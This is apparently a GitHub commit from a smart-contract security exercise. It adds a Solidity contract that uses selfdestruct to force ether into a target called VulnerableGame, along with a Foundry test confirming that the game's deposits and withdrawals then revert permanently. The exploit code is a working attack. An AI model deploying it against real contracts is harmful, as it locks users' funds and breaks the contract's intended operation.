Skip to content

Commit

Permalink
Add exploit contract and test to prove it
Browse files Browse the repository at this point in the history
  • Loading branch information
silverologist committed Dec 24, 2024
1 parent a4b455e commit 38fa9ef
Show file tree
Hide file tree
Showing 2 changed files with 69 additions and 0 deletions.
25 changes: 25 additions & 0 deletions src/SelfDestructExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import {VulnerableGame} from "./VulnerableGame.sol";

/**
* @title SelfDestructExploit
* @dev A contract that attacks the VulnerableGame contract by sending
* ether such that the game balance is suddenly >= 10 ether.
*/
contract SelfDestructExploit {
VulnerableGame game;

constructor(VulnerableGame _game) payable {
game = VulnerableGame(_game);
}

function attack() public payable {
// Break the game by sending ether such that
// the game balance is suddenly >= 10 ether
address payable addr = payable(address(game));
selfdestruct(addr);
}
}
44 changes: 44 additions & 0 deletions test/ExploitTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console} from "../lib/forge-std/src/Test.sol";
import {VulnerableGame} from "../src/VulnerableGame.sol";
import {SelfDestructExploit} from "../src/SelfDestructExploit.sol";

contract ExploitTest is Test {
uint256 constant EXPLOIT_FUNDS = 20 ether;
VulnerableGame game;
SelfDestructExploit exploit;

error VulnerableGame__WinnerMustWithdraw();
error VulnerableGame__OnlyWinnerCanWithdraw();

function setUp() public {
game = new VulnerableGame();

exploit = new SelfDestructExploit{value: EXPLOIT_FUNDS}(game);
}

function testExploit() public {
assertEq(address(game).balance, 0 ether);

exploit.attack();

assertEq(address(game).balance, EXPLOIT_FUNDS);

// Ensure that calling `game.deposit()` now fails
vm.expectRevert(
VulnerableGame.VulnerableGame__WinnerMustWithdraw.selector
);
game.deposit{value: 1 ether}();

// Ensure that calling `game.withdraw()` now fails
vm.expectRevert(
VulnerableGame.VulnerableGame__OnlyWinnerCanWithdraw.selector
);
game.withdraw();

// Ensure that the winner is still address(0)
assertEq(game.winner(), address(0));
}
}

0 comments on commit 38fa9ef

Please sign in to comment.